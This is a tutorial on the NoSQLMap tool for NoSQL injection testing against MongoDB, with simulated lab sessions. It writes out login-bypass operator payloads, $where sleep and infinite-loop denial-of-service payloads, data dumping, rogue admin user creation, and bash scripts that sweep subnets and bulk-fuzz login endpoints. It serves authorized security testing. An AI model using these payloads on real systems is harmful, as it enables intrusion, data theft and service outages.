NoSQLMap: Complete Guide to NoSQL Database Security Testing and Exploitation Using Kali Linux

NoSQLMap is an open-source Python tool designed to audit for, and automate exploitation of, NoSQL injection vulnerabilities, primarily targeting MongoDB, and to expose insecure configurations in Node.js applications built on Express and Mongoose. It was inspired directly by SQLMap and was created to fill a gap in tooling as NoSQL databases became widely adopted in modern web application stacks, particularly the MEAN/MERN stack (MongoDB, Express, Angular/React, Node.js).

Unlike traditional relational SQL injection, NoSQL injection exploits the way applications construct queries as JSON/BSON objects (in the case of MongoDB) rather than string-concatenated SQL statements. This means attacks typically abuse JavaScript operators like $where, $ne, $gt, $regex, and $in, or exploit type-juggling issues where an attacker submits an array or object instead of a string, bypassing authentication logic ({"username": {"$ne": null}, "password": {"$ne": null}}).

NoSQLMap provides a menu-driven interactive interface (similar to tools like msfconsole) that walks the tester through several attack categories:

MongoDB database enumeration — via direct network access to a MongoDB instance to enumerate/dump databases and collections.
PHP application NoSQL injection — testing PHP-based apps that use MongoDB drivers for injectable parameters.
Web application NoSQL injection attacks — timing- and Boolean-based blind injection against web forms/APIs to extract usernames, passwords, or bypass authentication.
Node.js/MongoDB DoS testing — testing for denial-of-service conditions via crafted $where JavaScript payloads that can consume excessive server resources.
Scanning for default/weak MongoDB installs — checking for unauthenticated MongoDB instances exposed to the network (a very common misconfiguration).

NoSQLMap ships in the Kali Linux repositories and is also available directly from its GitHub repository for manual installation.

Installation

Kali Linux (APT)

sudo apt update
sudo apt install nosqlmap -y

From Source (GitHub)

sudo git clone https://github.com/codingo/NoSQLMap.git /opt/nosqlmap
cd /opt/nosqlmap
sudo pip3 install -r requirements.txt --break-system-packages
sudo python3 setup.py install

Requirements

Python 2.7 (legacy original) or the maintained Python 3 fork
pymongo library (for direct MongoDB interaction)
A MongoDB client library installed on the attacking machine
Optional: local MongoDB instance for testing/lab replication

Verify Installation

nosqlmap --help

or, if launched from source:

cd /opt/nosqlmap
python3 nosqlmap.py

Expected output (menu banner):

 __   _  ____  ____   __    __  __    __  ____
( (` / )(  __)(  _ \ (  )  (  \/  )  / _\(  _ \
 `\ \/ /  ) _)  __ /  (_)  )    (  /    \)   /
 (_)\__/  (__)  (_)_\  __) (_/\/\_) \_/\_/(__\_)

NoSQLMap - Automated NoSQL Attack Tool

Main Menu:
   1) Set options (do this first)
   2) NoSQL DB Access Attacks (via MongoDB)
   3) NoSQL Web App attack (via HTTP)
   4) Scan for Anonymous MongoDB Access
   x) Exit

Enter your selection >

Syntax

NoSQLMap is primarily menu-driven, unlike SQLMap’s flag-based CLI. It is launched with no arguments and options are configured interactively:

python3 nosqlmap.py

Some forked/updated versions also accept limited command-line flags for scripted use:

nosqlmap [-t TARGET] [-p PORT] [--scan] [--attack MODE]

Command Line / Menu Options Reference (Kali Linux)

Because NoSQLMap is interactive, its “options” are represented as numbered menu selections. Below is the complete reference of every option exposed by the tool.

Main Menu

Option	Description
`1`	Set options (target host, port, URLs, HTTP headers, request data — must be configured first)
`2`	NoSQL DB Access Attacks (direct attacks against a MongoDB instance)
`3`	NoSQL Web App attack (via HTTP, targeting a web application’s injectable parameters)
`4`	Scan for Anonymous MongoDB Access (network-wide scan for unauthenticated MongoDB)
`x`	Exit the application

“Set Options” Submenu (Option 1)

Field	Description
IP/Host	Target host/IP address of the MongoDB server or web application
Ports	Target port(s), default MongoDB port is 27017
Target URL	Full URL of the vulnerable web application endpoint
HTTP Method	GET or POST
POST/GET Data	Injectable request body / query string
Cookies	Session cookie value(s) for authenticated testing
Injected Parameter	The specific parameter to fuzz for NoSQL injection
Proxy	HTTP proxy for routing requests (e.g. through Burp Suite)
Request Headers	Custom headers (User-Agent, Authorization, etc.)
Time-based Delay	Delay threshold (seconds) used for timing-based blind detection

“NoSQL DB Access Attacks” Submenu (Option 2)

Option	Description
Enumerate database names	Lists all databases on the target MongoDB instance
Enumerate collection names	Lists all collections within a chosen database
Dump collection data	Extracts all documents from a chosen collection
Clone entire database	Copies a full remote database to the attacker’s local MongoDB
Add administrative user	Attempts to add a rogue admin user to the target MongoDB
Test for anonymous access	Confirms whether the instance requires no authentication

“NoSQL Web App Attack” Submenu (Option 3)

Option	Description
Attempt login bypass	Injects operators like `$ne`, `$gt`, `$regex` to bypass authentication
PHP array injection attack	Tests for PHP `$_GET`/`$_POST` array-based injection (`param[$ne]=1`)
Extract data via timing attack	Uses `$where` JavaScript sleep-based timing to blindly extract data character-by-character
Extract usernames via time-based blind	Iteratively brute-forces username/password fields using response timing
Test for MongoDB DoS via $where	Sends resource-intensive `$where` payloads to test denial-of-service potential
Replay captured request with payloads	Uses a captured HTTP request (from Burp/proxy) as a base template for injection

“Scan for Anonymous MongoDB Access” (Option 4)

Option	Description
Single IP scan	Scans one target IP on port 27017 (or custom port) for unauthenticated access
IP range/CIDR scan	Scans a network range for open, unauthenticated MongoDB instances
Export results	Saves scan results (open instances found) to a local file

Basic Usage (Expected Output in Bash)

cd /opt/nosqlmap
sudo python3 nosqlmap.py

Expected output:

NoSQLMap - Automated NoSQL Attack Tool

Main Menu:
   1) Set options (do this first)
   2) NoSQL DB Access Attacks (via MongoDB)
   3) NoSQL Web App attack (via HTTP)
   4) Scan for Anonymous MongoDB Access
   x) Exit

Enter your selection > 1

--- Set Options ---
IP/Host [None]: 192.168.56.101
Web App Port [80]: 3000
MongoDB Port [27017]: 27017
Target URL Path [None]: /login
HTTP Method (GET/POST) [POST]: POST
POST Data [None]: username=admin&password=admin
Options saved. Returning to main menu...

Practical Examples with Output in Bash

Example 1 — Scan for Anonymous (Unauthenticated) MongoDB Access

Enter your selection > 4
Enter target IP or CIDR range: 192.168.56.0/24
Enter port to scan [27017]: 27017

[*] Scanning 192.168.56.0/24 on port 27017...
[+] 192.168.56.101:27017 - Anonymous access ALLOWED
[-] 192.168.56.102:27017 - Connection refused
[+] 192.168.56.105:27017 - Anonymous access ALLOWED
[*] Scan complete. 2 open instances found.

Example 2 — Enumerate Databases on an Exposed MongoDB Instance

Enter your selection > 2
Target MongoDB host: 192.168.56.101
Target MongoDB port: 27017

[*] Connecting to 192.168.56.101:27017...
[+] Connection successful (no authentication required)
Databases found:
  - admin
  - config
  - local
  - webappdb

Example 3 — Enumerate Collections in a Database

Select database to enumerate collections: webappdb

[*] Enumerating collections in 'webappdb'...
Collections found:
  - users
  - sessions
  - products
  - orders

Example 4 — Dump a Collection

Select collection to dump: users

[*] Dumping collection 'users'...
{
  "_id": ObjectId("64fa1c2..."),
  "username": "admin",
  "password": "$2b$10$eImiTXuWVxfM37uY4JANjQ==",
  "email": "admin@target.local",
  "role": "administrator"
}
{
  "_id": ObjectId("64fa1c3..."),
  "username": "jdoe",
  "password": "$2b$10$KIXQ3z...",
  "email": "jdoe@target.local",
  "role": "user"
}
[*] 2 documents dumped to output/webappdb_users_dump.json

Example 5 — Authentication Bypass via Web App Attack

Enter your selection > 3
Select attack: Attempt login bypass
Target URL: http://192.168.56.101:3000/login
POST Data template: username=admin&password=admin

[*] Trying operator injection payloads...
[*] Payload: username=admin&password[$ne]=1
[+] SUCCESS - HTTP 302 redirect to /dashboard (login bypass confirmed)
[*] Payload: username[$ne]=null&password[$ne]=null
[+] SUCCESS - HTTP 302 redirect to /dashboard (login bypass confirmed)

Example 6 — PHP Array Injection Attack

Select attack: PHP array injection attack
Target URL: http://192.168.56.101/api/login.php
Injectable parameter: password

[*] Sending payload: password[$gt]=
[+] HTTP 200 - Response indicates successful authentication bypass
[*] Vulnerable to PHP MongoDB driver array injection

Example 7 — Time-Based Blind Data Extraction

Select attack: Extract data via timing attack
Target URL: http://192.168.56.101:3000/api/search
Injectable parameter: query
Time delay threshold: 3 seconds

[*] Testing baseline response time: 0.14s
[*] Payload: query[$where]=sleep(3000)
[*] Response time: 3.21s -- CONFIRMED time-based blind NoSQL injection
[*] Beginning character-by-character extraction of admin password hash...
[*] Extracted so far: 2b$10$e...

Example 8 — Testing for MongoDB Denial-of-Service via `$where`

Select attack: Test for MongoDB DoS via $where
Target URL: http://192.168.56.101:3000/api/products

[*] Sending payload: {"$where": "while(true){}"}
[*] Monitoring target response time...
[!] WARNING: Server did not respond within 15s - potential DoS condition
[*] Recommend reporting unrestricted $where usage as a High severity finding

Example 9 — Cloning a Remote Database Locally

Select attack: Clone entire database
Source: 192.168.56.101:27017/webappdb
Destination: localhost:27017/webappdb_clone

[*] Cloning webappdb (4 collections, 1,204 documents)...
[+] Clone complete: webappdb_clone now available on local MongoDB instance

Example 10 — Adding a Rogue Administrative User (Lab Only)

Select attack: Add administrative user
Target: 192.168.56.101:27017
New username: backdoor_admin
New password: P@ssw0rd123!
Role: root

[*] Attempting to create user on 'admin' database...
[+] User 'backdoor_admin' created successfully with role 'root'
[!] This action modifies the target database — authorized lab use only

Example 11 — Replaying a Burp-Captured Request with Injection Payloads

Select attack: Replay captured request with payloads
Request file: /home/kali/burp_requests/search_request.txt
Injectable field detected: "q"

[*] Loaded request template (12 headers, 1 body field)
[*] Fuzzing 'q' with 18 NoSQL operator payloads...
[+] Payload q[$regex]=^a caused anomalous response (different result count)
[+] Confirmed: 'q' parameter vulnerable to $regex-based blind injection

Example 12 — Exporting Scan Results

Enter your selection > 4
... (scan as in Example 1) ...
Export results to file? [Y/n]: Y
Filename: mongo_scan_results.txt

[*] Results exported to mongo_scan_results.txt

Common Use Cases

Discovering exposed MongoDB instances left unauthenticated on internal networks or misconfigured cloud deployments during infrastructure penetration tests.
Testing authentication logic in Node.js/Express + MongoDB (MEAN stack) applications for operator-injection login bypass.
Auditing PHP applications using MongoDB drivers for insecure handling of array-style parameters (password[$ne]=1).
Assessing denial-of-service resilience of applications that pass user input into $where JavaScript evaluation contexts.
Data exfiltration proof-of-concept in authorized engagements, demonstrating impact of blind time-based NoSQL injection.
Cloud/DevOps misconfiguration audits — scanning CIDR ranges for default, anonymous-access MongoDB deployments (a very common finding in shadow-IT and dev/staging environments).
CTF and lab exercises focused on modern JavaScript-stack applications, as a NoSQL counterpart to classic SQLMap-based SQLi labs.

Automation with Bash

Automated Anonymous MongoDB Sweep

#!/bin/bash
# mongo_sweep.sh - Sweep a subnet for anonymous MongoDB access using nosqlmap in scripted mode

SUBNET="$1"
if [ -z "$SUBNET" ]; then
    echo "Usage: $0 <CIDR-range>"
    exit 1
fi

echo "[*] Starting anonymous MongoDB sweep on $SUBNET"
cd /opt/nosqlmap || exit 1

python3 - <<EOF
from pymongo import MongoClient
import ipaddress, sys

subnet = ipaddress.ip_network("$SUBNET")
for ip in subnet.hosts():
    try:
        client = MongoClient(str(ip), 27017, serverSelectionTimeoutMS=800)
        dbs = client.list_database_names()
        print(f"[+] {ip}:27017 OPEN - Databases: {dbs}")
    except Exception:
        pass
EOF

echo "[*] Sweep complete."

Run it:

chmod +x mongo_sweep.sh
./mongo_sweep.sh 192.168.56.0/24

Bulk Login-Bypass Fuzzing Script (Multiple Endpoints)

#!/bin/bash
# bulk_nosqli_test.sh - Test a list of login endpoints for NoSQL operator injection

ENDPOINTS_FILE="login_endpoints.txt"
PAYLOADS=('username[$ne]=null&password[$ne]=null' 'username=admin&password[$gt]=')

while IFS= read -r url; do
    echo "[*] Testing $url"
    for payload in "${PAYLOADS[@]}"; do
        response=$(curl -s -o /dev/null -w "%{http_code}" -X POST "$url" -d "$payload")
        echo "    Payload: $payload -> HTTP $response"
    done
done < "$ENDPOINTS_FILE"

Cron Job for Recurring Internal Network Audits

# crontab -e
# Weekly authorized internal audit for exposed MongoDB instances
0 3 * * 0 /usr/local/bin/mongo_sweep.sh 10.10.0.0/16 >> /var/log/nosqlmap/weekly_sweep.log 2>&1

Tips and Best Practices

Always confirm authorization scope explicitly includes NoSQL/MongoDB infrastructure before running network sweeps — port scanning and connecting to database ports can be treated more seriously than web-layer testing in some legal agreements.
Use option 1 (Set Options) thoroughly before running an attack module; incomplete configuration is the most common cause of failed attacks.
When testing web applications, capture a legitimate request first with Burp Suite/ZAP and use the “replay captured request” style workflow so headers, cookies, and CSRF tokens remain valid.
Prefer read-only enumeration (list databases/collections, dump data) before attempting destructive or account-creation attacks like “Add administrative user.”
For timing-based blind extraction, run a baseline timing measurement first (as NoSQLMap does automatically) to reduce false positives from natural network jitter.
Combine NoSQLMap findings with manual verification using mongo/mongosh shell commands to confirm data before including it in a report.
Keep a local MongoDB instance in your lab for “Clone entire database” testing so you don’t need to write cloned data back into shared infrastructure.
Because NoSQLMap’s project has seen periods of limited maintenance, cross-check payload lists against current MongoDB driver behavior (e.g., different behavior between Mongoose versions) — some legacy payloads may not apply to hardened, patched drivers.

Troubleshooting

Problem	Cause	Solution
`ServerSelectionTimeoutError` when connecting to MongoDB	Firewall blocking port 27017, or MongoDB bound to localhost only	Confirm port reachability with `nc -zv <ip> 27017`; check network scope
Menu hangs/crashes on option 3 (Web App attack)	Malformed POST data template in Set Options	Re-enter POST data exactly as captured by the browser/proxy, URL-encoded
`pymongo.errors.OperationFailure: not authorized`	Target MongoDB actually requires authentication	Provide credentials if authorized, or mark as “not anonymous” in the report
Login bypass payloads have no effect	Application uses parameterized queries or strict input typecasting	Confirm framework/ORM in use (e.g., Mongoose with schema validation may block operator injection)
Timing attack gives inconsistent results	Network latency variance	Increase the delay threshold value; run multiple baseline samples
`ImportError: No module named pymongo`	Missing Python dependency	`pip3 install pymongo --break-system-packages`
Scan of large CIDR range is very slow	Sequential scanning of large address space	Reduce range size per run, or use the bash automation sweep script with a shorter timeout
Clone attack fails midway	Network interruption or large dataset size	Retry with a stable connection; consider `mongodump`/`mongorestore` as an alternative

References

GitHub repository: https://github.com/codingo/NoSQLMap
Original project (Charlie Eriksen): https://github.com/tcstool/NoSQLMap
Kali Linux tool page: https://www.kali.org/tools/nosqlmap/
OWASP NoSQL Injection reference: https://owasp.org/www-community/Testing_for_NoSQL_injection
MongoDB Security Checklist (official docs): https://www.mongodb.com/docs/manual/administration/security-checklist/
PortSwigger — NoSQL injection: https://portswigger.net/web-security/nosql-injection